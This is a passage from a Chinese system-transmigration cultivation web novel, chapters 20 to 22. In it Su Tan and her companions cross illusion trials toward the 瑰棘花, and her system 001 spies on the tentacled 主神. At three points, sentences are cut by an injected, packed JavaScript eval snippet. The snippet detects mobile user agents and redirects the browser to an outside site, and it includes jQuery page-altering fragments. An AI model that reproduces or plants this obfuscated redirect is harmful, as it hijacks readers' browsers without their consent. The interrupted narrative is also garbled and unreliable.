最后,肥头圆脑心满意足地拿着一把灵菇离开,朝闭目养神的金迩走去,准备找他请功。 直到何瑚走近弱势修士,才发现他手臂上果然又添了几处新伤,还在往外流血。 何瑚与他并坐在一起,偷偷把藏在手里小药瓶迅速塞到修士手里,瓶身上甚至带了一层因为紧张渗出的薄汗。 弱势修士:“这是……” 何瑚按照苏昙的吩咐,只是看了他一眼,打算离开。 “谢谢你……和你的姐姐。我知道,你们其实都是好人。”男修士见何瑚要走,赶忙说,“我叫陈鑫郁!” 何瑚一言不发起身离开。 回到苏昙身边,她立马卸下冷漠伪装,压低声音道:“吓死我了,我生怕被金迩和那个胖修士发现!” “你做得很好,金迩那些人并未发现。”苏昙浅笑。 何瑚想起陈鑫郁最后的话,又向她复述一遍。 * 半个时辰一到,金迩就即刻命令众人出发,何瑚和苏昙两人依旧在前面带路。 刚往前行没一会,四周突起大雾,比昨天山林里的雾气更浓,甚至遮住晴日阳光,三步开外视野全无。 金迩一行人瞬间隐没在雾里。 苏昙心感雾气来得古怪,心感不妙,果断打开传音耳饰找人:“何瑚?能听到吗?你在哪?” 没有回应。 她又向周围喊道:“金道友?” 依旧无人回应。苏昙高度警觉,这场浓雾也许是虚境在搞鬼。她使用符纸隐去身上气息,将灵气注入匕首,紧紧握在手里。 突然,一阵低沉兽吼在苏昙身边响起,近在咫尺,仿佛下一秒就要扑到自己身上,凶残地撕咬嗜杀。 然而,苏昙却站在原地丝毫未动。她紧闭双眼,似乎陷入沉思。 ——此时的记忆回到幽鸣别院。 她前些日子翻阅原主书房的古籍时曾读到:“夫线人内通,而外于心知,鬼神未来舍,而况人乎。”① “闭目寂坐,冥心寂照,真身虽定,神乃四通……” 妖兽不停在耳边嘶叫,苏昙依旧没有睁开眼睛。 “左后侧!就是现在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16296876|182094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !” 苏昙当机立断,飞速移动到妖兽面前,狠狠刺出匕首,带起的劲风瞬间浓雾撕破一条裂缝。 她预判的方向毫无偏差,妖兽顷刻间灰飞烟灭。 “——我呸!杀千刀的贱兽!” 苏昙把匕首收起来:这不是金迩的声音?他怎么在这? 她赶忙上前:“金道友?你没事吧?” 金迩不屑:“我怎么可能有事?!就刚刚的妖兽,我一个能打十个!” “但是金道友,你的伤口,在流血!” 苏昙指着他肩膀,神色十分惊讶。 “哪?!” “我这里有些灵草,治疗伤口特别有用,一擦即好!而且,这灵草还能遮掩身上灵气,避免妖兽袭击呢。” 苏昙从袖口掏出一捧药草,仔细闻,上面还带着隐隐的花香。 金迩刚想伸手,脑海浮现刚刚苏昙刺杀妖兽一幕,她看起来完全不像软弱无能之辈,心中不由起疑:“我凭什么相信你?” 苏昙没有理会金迩的质疑。 正当金迩以为她心虚时,却看见她目光转到一边。 苏昙看向从浓雾中出现的陈鑫郁:“这位道友,你怎么也在这?” “我刚逃离妖兽,便听到这边有人说话,过来查看。” “道友有所不知,这是刚刚准备给金道友的药草,可惜他不要。这位道友,我看你也受伤了,灵草浪费了怪可惜,不如给你用吧。” 陈鑫郁看着药草,又看向苏昙,突然福至心灵:“……也好。”说罢,就要接过。 “好个屁!” 金迩突然提高音调,顾不上多想,一把夺过,背过身直接将全部药草按到伤口上:“陈鑫郁,你也不撒泡尿照照自己配不配!就凭你,还想跟我抢东西?再等一辈子吧!” “……” “你听见了吗?!” 金迩转过身,竟发现苏昙和元鑫郁两人都消失不见。 “妈的!”他被骗了! 金迩气急败坏,触电般甩掉手里药草,红着眼欲提剑追上去。 不料刚抬起脚,浓雾里便出现一群妖兽,层层包围上来。 …… 苏昙和陈鑫郁逃到一个相对安全的地方,暂时停下来喘口气。 “金迩哥他,不会有事吧?” 苏昙:“放心吧,以他的功法死不了,就是可能要被妖兽拖住一会了。” 陈鑫郁渐渐缓了过来,说道:“谢谢你啊。如果没有你们,我可能就要一直和他们待在一起。” “不用客气。” “我能知道你和你妹妹的名字吗?” “我叫苏檀,她叫何瑚。” “?你们不是……” “不是。”苏昙耸肩说道。 陈鑫郁挠挠头:“仔细想来,你们的性格确实不像。我叫陈鑫郁,和金迩哥都是岳门宗的弟子,一直在一起学习修炼。但他从小看不惯我,所以经常和他身边的朋友捉弄我。” “那个胖修士?” “没错。” “你为何不反抗回去?有怨不报,不憋屈吗?” 陈鑫郁苦笑:“他爹是岳门宗掌门,而我就是一个普通弟子,没有亲人,要依靠宗里来生活,连怨都不配有,怎么报?” 是啊,世上事情万千,人人都想求一个无愧于心。 苏昙也一样。 她还要去找何瑚,还要完成任务,还要回家。 她一刻也没忘记。 “抱歉啊。”她说。 陈鑫郁摇摇头:“无事。待试炼结束,我的修为有所长进,便也能在宗里好过些。” “那就祝你好运,我先告辞了。” 苏昙拱了拱手,与他辞过。 20. 世界二(5) 苏昙离开陈鑫郁,独自走了一会。渐渐地,浓雾散去,眼前的景象又发生变化。 四周静得将心跳声无限扩大,不觉间连水声都悄然凝固。 苏昙立刻尝试用传音耳饰找何瑚,好在,这次终于有了回应。 “我没事,苏檀。就是我在这附近迷了路,还没走出去。你在哪?” “我前方是一座山崖,山崖上还有一道瀑布。” “山崖?巧了,我们附近也有一座陡峭的崖壁,但我们似乎在它背面。” “我们?”苏昙皱起眉头,“你还和谁在一起?周围安全吗?” 何瑚连忙解释:“没有没有,我现在很安全,放心。” “至于另一个人……见面了我再和你详细说。” 苏昙听到何瑚那传来一道模糊少年声音,不知道在嚷些什么。 “你要是遇到危险,记得先发送求救信号,再赶紧用传音耳饰告诉我。”苏昙还是有些担心,“我会尽快找到你的。” “没问题。”何瑚又想到什么,叮嘱苏昙,“我发现,现在已到内境了,你一定要多加小心!” “好。”苏昙关掉传音耳饰。 想要找到何瑚,就必须越过眼前的山崖。但崖壁崎岖险峻,以她现在的功力,在上面稍有不慎便会摔得粉身碎骨。 可一个人待得时间越长,恐怕她和何瑚就越危险。 “一定还有其他路。” 苏昙无意识凝视着远处的瀑布,脑海突然灵光一现。 ——也许,玄机就在这瀑布之中。 事不宜迟,她调整好气息,提速来到瀑布前。水流汩汩飞泻,冲击崖壁,溅起无数水花。观察的空隙,苏昙全身上下都被水花湿透了。 果然!从远处看,这瀑布看似紧贴崖壁而落,然则走进了才能发现,其背后是通的。不出意外,穿过瀑布便能到达山崖背后,与何瑚回合。 苏昙不再犹豫,使出一个术法,让衣服保持干燥,接着开始尝试进入瀑布。 她凝息闭气,将灵气全部汇于脚下,调动灵力的瞬间,眨眼穿过瀑帘。 “这就……过来了?” 苏昙还以为要费些功夫才能成功。 她抬手唤出一小片亮光,照亮黑暗的环境。 “没想到,这瀑布背后竟是一条长通道。” 苏昙环顾两旁墙壁,发现每隔一段路,壁上就会有一些奇怪的画。 画上无一不点缀有朵朵黑莲,这些黑莲只有巴掌大小。有的妖艳绽开,有的仍是花苞紧闭。已经盛开了的黑莲花瓣,在映到墙上的亮光中微妙地转动,瞧着让人内心生寒,浑身发悸。 苏昙边走边看这些图案,越发觉得熟悉,就是想不起曾经在哪见过。 她忽略心底奇怪的感觉,快速穿过通道。 眼前景色再次发生变化。苏昙本以为山崖背后仍会有群山连绵,结果脚下道路平坦,丝毫不见树木遮挡,反而进入一片比人还高的草丛。 苏昙不断拨开拦路的花草,才能看到前方的情况。 她打开传音耳饰:“何瑚,你们那是不是一整片花草,视野受限?” “没错!难道你也在这附近吗?” “嗯。”苏昙想了想,说道,“你能再具体描述下你周围的环境?越详细越好。” 这几天,苏昙也算是狠狠体验了一番氪金老的快乐。她身上还存着传送符,可以在距离不远的地方之间传送,说不定可以靠这个找到何瑚。 “好。”那边似是在观察,何瑚停了片刻才道,“……这一片的草大概有一丈高,草茎上部长有一寸宽的分支,分支上开着鸡蛋大的紫花,仔细闻……还有一股清甜的味道。” 这就好办了。苏昙周围开的是蓝色的花,散发苦涩的气味,颜色和味道都不一样。她全神想象何瑚那边的情形,将传送符抛向空中。 “苏檀?!” 何瑚的声音由远及近,变得真切。同时出现一道男声:“还真是你?” 苏昙看见一个身材挺拔,长相俊朗的年轻男修士站在何瑚身边。他年纪和何瑚相仿,脸庞和声音均还有未褪去的少年青涩。 苏昙忽略他那令人讨厌的语气,拉住何瑚问道:“你没事吧?” 说完,她看了一眼一旁的男子,警惕道:“这个人没有对你不利吧?” “我没事,他也没有伤害我。”何瑚向苏昙介绍,“他叫南宫洛奚,是望月峰峰主南宫望月的儿子。” 苏昙听着这个名字有些耳熟:“望月峰?你怎么会和望月峰的人扯上关系?” “那时我们两个走散,我在找你的路上,遇到了受伤掉在虚境陷阱里的他。我一时心软……便把他救了上来。后来才知道,他是望月峰的人。”何瑚无奈道,“本来我不想带着他,可他非要跟着我,我实在没有办法。” 苏昙将001平淡无味的语气学了个八分相似:“路边的男人不要捡。谁知道他对你什么心思呢。” “你说什么?!” 南宫洛奚听见,气得要跳起来。 “我还看你有歪心思呢!谁知道你接近何瑚有什么目的?!”他没好气地回嘴,“你还是和小时候一样,脾气又臭又怪!” “不许你这样说苏檀!”何瑚警告性地轻踢南宫洛奚一脚。 “凭什么!她就是这样的性格!” “你了解她吗你就这样说!” “我从小被她欺负我会不知道!” “不可能!” “怎么不可能?” “……” 苏昙抱着手臂皱眉看那两人喋喋不休地争论。 她算是想起来,她曾在原主书房里的习册上瞅见过“南宫洛奚”这个名字,原来两人是如此塑料的青梅竹马? “——好了!” 苏昙运动丹田气息,喝止住无休止的小学鸡争吵。 她问南宫洛奚:“遣凌派很长时间都不与望月峰来往了,你为什么完全不避嫌?” 南宫洛奚翻了个白眼:“我和你解释过很多次了,你出生那年正值望月峰事变,我父亲光是忙门派内的事就已经焦头烂额,怎么可能会去害你母亲和她腹中胎儿——也就是你。况且,家母和令堂还是多年挚友。” 苏昙从未听过这些话,心下一沉:“你再仔细同我讲讲。” 南宫洛奚轻笑:“怎么?这回终于肯信我了?” “让你说你就说!”何瑚也听了进去,对南宫洛奚这种卖关子的行为很不耐烦。 南宫洛奚收起笑,清嗓正经道:“我也是小时候偶然在望月峰内的藏经阁里看到的。十七年前,我父亲林戚本要任峰主,结果被人诬陷蓄意谋害你母亲。而那时你母亲已经成为遣凌派掌门,名闻天下。” “谣言越传越玄乎,最后竟发展成我父亲贪图权力,沉溺美色。峰里众人不屑一个小人之辈做他们峰主,合力发动望月峰事变。最后,是我母亲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16308873|182094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 据理力争,毫不退缩,以一己之力成为新峰主,堵上悠悠众口,努力经营望月峰直至现在。” 苏昙:“所以,从那时起,遣凌派和望月峰便少有来往?” “据书上记载,是这样的——倒是你,小时候总背着人跑到望月峰,说要和我切磋术法。结果你一输给我就哭鼻子,我都不知道哪得罪你了!” 苏昙被迫得知原主小时候的囧事,面不改色地转移话题:“那我灵脉残缺,也和当年那件事有关?” 南宫洛奚点头:“当然!你出生在冥谷,不是灵脉全无已经是万幸!” “冥谷?” 苏昙在刚来到这里时,曾追问过苏婉凌和穆遣自己为何会灵脉残缺,可两人嘴严得很,怎么都不肯说。 如此看来,那日市集上老板的话便是真的了。她的出生、望月峰事变和“聚灵丸”的流失是在同一时间。 关于冥谷这个地方,还是她在古书上知道。 据说,此地阴气邪祟弥漫,进去之人鲜能出来,现在已经封为禁地。只有各门派长老掌门会在特定的时间去那里查看,确保附近无邪祟作乱。 可是,她为何会在冥谷出生? “最后有查出陷害我母亲的凶手吗?” “似乎并未。”南宫洛奚叹了口气,“再具体的,我也不太清楚。” “天呐。”何瑚在一旁都要听呆,眼神满是心疼,“真没想到,原来你之前受了这么多苦。” “我竟不知,你还有这样温柔的表情。”南宫洛奚冷不丁说道。 “你不知道的多着呢。”何瑚收起温情。 苏昙笑了笑,示意自己现在没事。她接着道:“我们继续试炼吧,这里是内境,必须要时刻小心才行。” “嗯。”何瑚撇下南宫洛奚,跑到苏昙身边。 南宫洛奚看着何瑚,摇着头走到最前面打头。 不知为何,苏昙敏锐地从他看向何瑚的眼睛里读出一丝宠溺无奈。 是错觉吗?一种老母亲般的心情突然在苏昙心底油然而生。 前面的南宫洛奚正全神贯注地不断用剑砍倒巨草,没有注意到苏昙脸上微妙的表情。 “这草怎么砍不完似的。” 一个时辰过去,南宫洛奚麻木地重复踢开脚边粗壮的草杆,抱怨道。 苏昙同样有此疑惑。她轻点脚尖,跃到巨草之上,看了半天,缓缓开口:“恐怕这样干走下去,我们找不到出口。” “为什么?”何瑚和南宫洛奚也跳到半空观察。 苏昙:“你们不觉得,这里很像一个大型迷宫?” 何瑚:“你别说,还真有点像诶。” “而且,根本看不到边界在哪。就连我们走过的痕迹,最后都会消失。”南宫洛奚补充道。 苏昙回到地面,总觉得自己漏掉了什么。 沉思间,一股若有若无的气味钻进她的鼻腔。 这味道……苏昙的视线追随着气味最终定格在巨草上。 花!是花! 难怪她们一直砍草却毫无进展,正是忽略了这些不起眼的小细节!苏昙回想她刚进入巨草丛时,闻到的花的味道是淡淡苦涩,甚至有些冲鼻。而现在,空气中的气味清甜,似乎自找到何瑚后,这味道就再没变过。 “如果说,从我们见面起,就已经进入幻境,那现在还未走出去,也不奇怪。” 苏昙略一沉吟,把她的发现告诉身边二人。 21. 世界二(6) “幻境?!” 何瑚和南宫洛奚异口同声道。 “没错。闻花。”苏昙一把扯下叶片上的紫色花朵,“我刚来时,花的气味苦而涩,这里的却有淡淡清香,应该和何瑚描述的是同一种。也许就是这花的气味,导致我们迟迟走不出去。” “真的诶!”何瑚嗅了嗅苏昙手里的花,确认道,“只不过,这里气味远没有一个时辰前的浓烈。不仔细闻,真不好发现。” 南宫洛奚:“难道花香的变化和时辰有关?” “有可能。也许每个时辰,也许半个时辰,也许……片刻之间,这里都会发生变化。”苏昙道,“验证猜测最好的办法,就是试一试。” “怎么试?” “这样,你和南宫洛奚站在原地别动,我再往前走一段路,看看会发生什么。”苏昙对何瑚说。 何瑚:“好,我们传音联系。” 苏昙点头,横握手中短匕,麻利斩断路上的巨草。 一步,没有变化;两步,没有变化;五步……十五步。 苏昙再回头时,何瑚和南宫洛奚都消失不见! “何瑚?”苏昙先向周围喊了两句,并没有人回应。她打开传音耳饰:“何瑚?” “能听到能听到!”何瑚的声音从耳饰里传来,“你真的凭空消失了!” “我们还能联系上,就证明我们应该都还在巨草阵里。但是在幻境里,哪怕我按原路走回去,恐怕也无法和你们汇合。” 苏昙快速折返,果真不见那俩人身影。 “这其中一定还有什么规律,是我们还没有发现的。”何瑚思索道,“不过,目前可以确定的是,幻境里应该不会有什么危险。” 苏昙抬头看向天空,烈阳不知不觉西落,把地上高大巨草的黑色影子越拉越长,甚至要把她整个人笼罩其中。 “现在已经接近申时了诶。”何瑚似乎也注意到阳光的变化,喃喃道。 申时。苏昙摘下叶片上的花放在鼻下。如她所想,花蕊散发出丝丝苦涩。 她心里萌生一个大胆的结论。 ——申时,这个时辰惯有“日落而息”之说法。而在原主书房里卷宗记录的八卦阵法中,申时对坤卦,指西南方。坤卦则象征地,指路。 阳光还在一点点变化方位,苏昙想到何瑚和南宫洛奚两人可能离自己不远,她立刻问何瑚:“你们周围现在是什么气味?” 何瑚闻了闻:“微苦。” “那就对了。你们现在就寻着这个味道,一直朝西南方向走!” “那应该没错了,刚才南宫洛奚也说按此方向走!”原本何瑚还有些不信南宫洛奚的话。 苏昙:“不出意外,我们会在幻境外相遇。” 如果申时结束之前是今天唯一能够走出幻境的机会,那她们三人就只剩下半个时辰不到。 “……要是能说服001带路,肯定要比现在轻松多。” 赶路之余,苏昙忍不住冒出偷懒念头。 如果以前因为不熟而不想有过多交集,那如今001都已经帮过自己几次,再多帮自己解决点小事她还真不介意。 她是说过自己会“知足知止”,但她也不傻,她看得出001之所以会救下自己,不仅因为他的保护欲,她身上肯定有他需要的东西。 既然各有所需,那就不如各取所需。 她从来不觉得偷懒可耻,只是要看真正的目标是什么。在所有方法里寻找最优解,才是她奉行的解决问题方式。 不过话说起来,苏昙发现她自从进入虚境,便没有见过001,她平日里一个人倒也过得自在,落得清净。 边想边走,时间还未过去三刻,苏昙发觉已经走出幻境。 还未来得及松口气,她便被迎面而来的风雪吹得猝不及防。 “好冷!”苏昙打了个寒颤,把衣服裹得更紧些,“前几天在外境的山林,还没有这么冷呢。” 碎芝麻似的繁星洒在黑黢黢的天空,仿佛直直地压向头顶,看得分外清楚。天空的尽头屹立数座连绵雪山,好似已经这样静默了数万年之久。 苏昙瞧见远处并排走来两个身影,正是何瑚与南宫洛奚。 何瑚也看到苏昙,朝她跑来:“真没想到,我们竟然直接来到极寒之地了!估计瑰棘花就是生长在这样的环境。” 苏昙呼出一团热气,运动灵力暖热身体:“你现在能感知到它的大致位置吗?” “我试试。” 南宫洛奚眼疾手快清理干净地上的积雪,给何瑚腾出一片空地。 “你们俩个最好离远一点,这样方位更准确。” 何瑚闭眼盘腿坐下,嘴里轻声念诵法咒。 在漫天纷飞的雪花里,何瑚的念诵显得尤为空灵,被广袤空间无限扩大,回荡在耳边。一瞬间,苏昙生出何瑚本就属于这冰雪之地的错觉。 她回神转身,瞧见一张早已听呆的痴汉脸,正是南宫洛奚。 直到路边的岩石落满一层厚厚的积雪,地上的人终于站起身:“感应到了,在雪山里面。” * “你怎么不去跟着苏昙?”131刚从宿主那回来,就看到001悠哉游哉地品茶,顿感破防。 他最近接了新宿主,忙得不可开交。一找到空隙,就拉着001吐槽他那宿主每天不是哭爹就是喊娘,耳朵都快被吵聋:“对比下来,还是你的苏昙好,省心又省力。” “注意措辞。” 131:“?” 001张张嘴,欲言又止。算了,越解释越乱。 他说:“今天下午,我和401见过面了。” 131:“怎么说?” “401明天要向主神汇报情况。”001放下杯子,“到时候我会避开祂的耳目,暗中跟去。所以——” “知道,苏昙那边交给我。”131明白他心中的顾虑,答应道,“你也小心。” “嗯,多谢。” * 虚空之境的尽头,立有一道古铜色密门,从没有系统进过那里。曾经有不怕死的,尝试闯进去门内的系统,结果全都被主神亲手抹杀。 站在门前,只能看到密密麻麻的巨大猩红色触手,穿过密门上下左右的缝隙,攀附在两边墙壁上,以某种节奏缓慢蠕动。即使触手上并没有眼睛,却让人感受到直逼内心的审视目光穿门而过。 那是主神的惯用形态。没有子系统知道祂的真正面目,他们对祂敬之,畏之,避之。 除了001。 001把距离保持在401身后二十米距离,悄无声息将自己隐没在墙边的黑暗中,注视着401在密门前站定。 401:“主神。” 摆动的触手对401做出回答。 401暗自庆幸主神并未发现异常,心情稍微放松下来。他想起001交代给自己的话,回道:“您让我监视的那边一切如常,没有什么可疑的举动。只是……” “只是什么?” 低沉混沌的声音在空旷的走廊绕过几圈,又传入401的耳朵。 401似乎陷入回忆,没有出声。 另一边,001早已隐藏起自己的所有思绪, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16325579|182094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 将真身解离,化作一团无形的炁,与黑暗融为一体,此刻他正越过401,不动声色靠近门边的那些触手。 子系统化成炁的好处就是,可以在保留意识的同时,像空气一样在虚空之境来去自如,不会被轻易发现。 但这只有极少数能力很高的系统可以做到,并且重新恢复“人形”后会有三个小时的“空挡”时间,需要休息才能回到正常系统状态。 “只是!”401把脑门拍得“啪啪”作响,仿佛想起了惊天秘密,“我还发现,001和他宿主的关系似乎不是很好!” “嗯?” “按您的规定,系统要和宿主保持熟稔关系才有利于双方的工作开展。可据我观察,001一周里有三天都不在宿主身边,他要么在虚空之境里工作,要么品茶睡觉,总之就是不找宿主培养感情!” “……你觉得这很重要?” 门外的触角蠕动幅度变大,仿佛对他的回答感到不满。 “当然了!”401捏着冷汗,“您想,如果系统宿主关系不和,谁来完成您规定的任务?里世界还会像现在一样太平吗?” 这番话让主神躁动触角渐渐平静。 紧接着是一段熬人的静默。 401数着自己的心跳,在数到第一百零一下的时候,主神的声音再次响起,语气平稳温和。 “001的宿主叫什么名字?” 401不知道祂突然问这个做什么,如实回道:“好像叫,苏昙。” “行了,走吧。” 潮水般赤裸的目光瞬间退去,401如释重负,头也不回离开密门。 他来到001的工位,看见001正靠在椅子上闭目休息,不知道他什么时候回来的。 “我和苏昙关系不和?”躺椅上的人轻启双唇。 401眉心一跳,差点忘了,这也有位主。 “主神在前,我只能多说一点才不会让祂起疑。更何况,我觉得我讲的都是事实。”他越说底气越弱。 “那你心虚什么?”001不急不慢,“你做得很好。” “?” “你说这件事的时候,主神明显被你的话引走大半注意力。趁着这一小段空隙,我得以潜身到密门前。” “结果呢,有什么发现没?”401好奇密门背后到底什么样子。 001神色疲惫,轻轻摇了摇头:“主神太警觉,我暂时没找到进去的空隙。” 好吧,看来像001这样厉害的系统都没办法。临走前,401吞吞吐吐,磨磨蹭蹭不肯离开。 “还有话要说?” “别忘了答应我的事。” “调查谷晨自杀的真相,我记得。” “那就好。回见。” 房间安静下来,疲惫感像潮水般席卷001全身。 他放任思维四处游走,脑海里浮现那道密门的模样。即使他的身体化成炁,感知不到丝毫情绪,却仍在第一次靠近密门时,察觉到压迫性的令人恐惧气息。 但也不像刚刚对401说的那样,毫无发现。至少,主神对炁的存在并不敏感。 顺道,还得知原来自己和苏昙关系“不好”。 只有他自己知道,这么长时间相处下来,苏昙这个人虽然总喜欢打嘴炮装可怜,真遇到大事却不爱麻烦别人,反而更习惯自己一个人。 他知道她有能力,也清楚她能做到,所以在她背后静静看着,等着就好。 结果在别人眼里,变成了两人关系不和。001嘴角扬起了很小很小的弧度——连他本人都没有意识到。 22. 世界二(7) 自何瑚感知到瑰棘花的方向,三人小队便直奔雪山。 转眼间,半月时光在虚境一晃而过,雪山在三人眼里也越来越真切。只是越往里走,就越接近里境边界,也越危险,越难走。 就在前几天,苏昙刚刚从一只白纹虎妖的嘴里死里逃生,身上留下大大小小的伤口,哪怕用灵力修养,肩膀上最深的咬伤还未完全愈合;连比自己法力高出一截的何瑚和南宫洛奚,也差点掉入虚境深渊,险些丧命。 苏昙已经适应了每日精神高度紧张的状态。 “记得注意四周变化。”这日早上起程前,她习以为常照例提醒道。 虽说这几天内境更加变换莫测,但天气却一直维持在极寒。天空放晴时,路还好走些,一旦刮起大风飘起大雪,简直是寸步难行。 譬如今天,依旧是漫天纷飞的雪花,和远方冻得发紫而黯的雪山。 “这几天不断有人发送求救信号退出,只要我们坚持得越久,瑰棘花离我们就越近。”何瑚望着高处刚刚升起的不知名信号,振作精神打气道。 “嗯。”南宫洛奚一边回应,一边低着头把自己采集到的药草塞到何瑚随身斜挎的小包里。 只可惜何瑚只顾着远方的胜利,没有注意到身边人的小动作。 苏昙暗中观察好久,最后得出结论:一定是当时那两人在虚境深渊发生了什么,他们感情进展竟如此迅速! “走吧。” 她率先抬脚离开,不然真怕再待下去,就要被某人热情的火焰灼伤。 走了一段路,路边的景象又一次发生变化,地上反常地开出鲜艳的山茶花,红得仿佛要滴出血来,一簇拥着一簇,朵朵相连,形成强烈的视觉冲击。 何瑚激动道:“就在这附近,瑰棘花的感觉变强了!” “可瑰棘花不是藏蓝色,而且花瓣更窄,花苞比山茶要小上一圈?”南宫洛奚有些怀疑,“况且,瑰棘花一共就两朵,真的会这么容易找到吗?” “不好说,还是小心点为好。”苏昙仔细观察路两旁的花丛,总觉得这些花来得蹊跷,“何瑚,你是感知到瑰棘花就在这些花草里吗?” 何瑚犹豫一会,才答道:“好像在……又好像不在……” 南宫洛奚纠结起来:“瑰棘花的气息在众多神草之中最为浓郁,怎么还会不确定?” “但很奇怪,我感知到的瑰棘花气息,不止一处,而是两处。” “两处?”苏昙问,“哪处气息更强烈?” “那里。”这次何瑚毫不犹豫,指向前面一百米的距离,“再有就是后面五十米的山茶花丛里。” 苏昙:“好。我去后面查看,你和南宫洛奚去前面。一定要小心。” 南宫洛奚点头赞同,却发现何瑚并无动身意思。 “还有什么问题吗?”他问何瑚。 “可万一真的有瑰棘花,怎么办?”何瑚眉头紧皱,露出焦急和担忧的神情。 苏昙听出她话里意思,说道:“首先,大概率是不会有真花的。就算你们真的发现了瑰棘花,那也是属于你们的。” “我肯定让给你。” 南宫洛奚真诚地望着何瑚,毫无眼力见地冒出一句。 何瑚选择性过滤掉他的话,依旧担心地看着苏昙:“那你进入虚境……” “真的只是为了历练,神草对我来说不是根本目的。”苏昙拍拍她的肩膀,“快去吧,说不定一会瑰棘花气息就没了。我们好不容易走到现在,要好好把握每一次机会。” 何瑚再次被苏昙说动,抿直唇角道:“那你一定注意安全。” …… 雪还在下。渐渐把唯一亮眼的那片红也遮住。 从刚刚步入这片山茶地起,苏昙心里就有股强烈又熟悉的感觉,引导她一步步走向身后的花丛。 她把何瑚和南宫洛奚支走,很快走到有瑰棘花气息的位置。苏昙清理掉花丛上面覆盖的积雪,并未发现有什么异常。 难道是错觉? 但苏昙不这么认为。 她走进山茶花丛,细细拨开每一朵花查看。 在走到一片杂乱草丛的时候,她突然感到心里那股奇怪的感受就要随着眼前疯长的杂草冲出身体,快要将她撕裂。 真是要疯了。 苏昙停下脚步。 她一边警告自己要保持理智,双手却不受控制伸向杂草,想去窥探其背后到底是什么存在。就像一个饥渴的野兽,明知前方布满陷阱,却仍愿意为了猎物去搏命。 就看一眼。苏昙对自己说道。 她轻轻拨开杂草一角——一朵手掌大小的黑莲静静地浮在地面之上。 又是黑莲! 她还记得上次在山崖里,壁画上画的就是这东西。如果说一次是偶然,两次是巧合,那么……还会有第三次吗? 思索间,地上的黑莲慢慢转动,最后竟穿过杂草缝隙,轻巧地朝苏昙飞来。 不好! 苏昙来不及反应,黑莲就径直印入她的额头,消失不见。 几乎一瞬间,苏昙彻底失去意识,被黑莲强行带入自己的识海。 “……” “你究竟是人是鬼?” 苏昙的识海仍是漆黑一片,黑莲化形进到识海里便和黑暗融为一体,但苏昙的直觉告诉她黑莲还在自己面前。 “亦人,亦鬼,亦神。” “哦,那不就什么都不是么。”苏昙往后退了两步,问道,“你没有门派吗?” 她觉得这朵黑莲应该化成了人形,不然她脸上怎么会感觉有气流喷涌,感觉臭臭的。 这年头,连鬼都这么没有分寸感了吗。 黑影语气流露不屑:“我就是门派。我就是名号。” 苏昙猜准了他因为某种原因无法化成真身,故意道:“那让我看看你的脸呗,我膜拜一下。” “大胆!”黑影果然被激怒,“你还不配!”说完,狠狠掐住苏昙的脖子把她拎到半空。 “咳咳……你找我……不就是因为……我对你还有用……” 苏昙并不挣扎,断断续续蹦出话。 “呵,挺聪明。” 苏昙感觉到他松了些劲,但仍没放手,反而细细把玩般摩挲起她脖颈的皮肤,激出她一身鸡皮疙瘩。 苏昙强压心里的恶心:“我猜,你在找能够让你寄存魂魄的容器作为宿主。” 毕竟,当宿主这事,恐怕没人比她更熟了。苏昙稍微动动脑子就能想明白。 “没错。” “为什么选我?” “为什么?”黑影彻底松了手,似乎转过身去,“你就没想过为何你的识海漆黑一片?” “我从小没怎么修炼过,识海还未全开很正常。” “错、错、错。”黑影连连否定。 苏昙不知他的话有几分可信,但加上南宫洛奚的话,这些天也隐约琢磨出来,参加试炼前,苏婉凌可能对自己说了谎。 原主识海黑暗,也许真的和南宫洛奚提到的,她出生在冥谷有关。 “哪怕你再深的修为,哪怕你拥有穆遣的水平,你的识海都不会变,你天生就要活在黑暗里!”黑影话头一转,“我可以帮你,帮你变得更强,无人可敌!你就做我的利刃,怎么样,这买卖划算吧?” 苏昙警觉:“你到底是谁?为什么会认识我父亲?” “别急。我不仅知道他,我还知道你母亲叫苏婉凌,和你一起此次试炼的另外两人,一个叫何瑚,一个叫南宫洛奚。” 黑影有些得意。苏昙听出他很享受这种将人玩弄股掌的快感。 下一秒,黑影 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“不清楚。可能我来自这个世界之外,他最多能感知到,但看不到也触碰不到。” “但我能看见你。”苏昙早就想问了,“你一直都是在识海和我对话吗?” “嗯。”001停顿几秒,又解释说,“不过你在这个世界,随时可以进入识海修炼,就没怎么来过了。” 苏昙明知不是,依旧故意问道:“所以,你是感受到我的害怕,才出现的吗?” 问者有意,听者警惕。001早已领教过苏昙的语言艺术,此刻总觉得她话里依然有话。 001:“我感受不到害怕。准确地说,我只是察觉到你在害怕。” “那你都能感觉到什么情绪?你……知道的那种。” 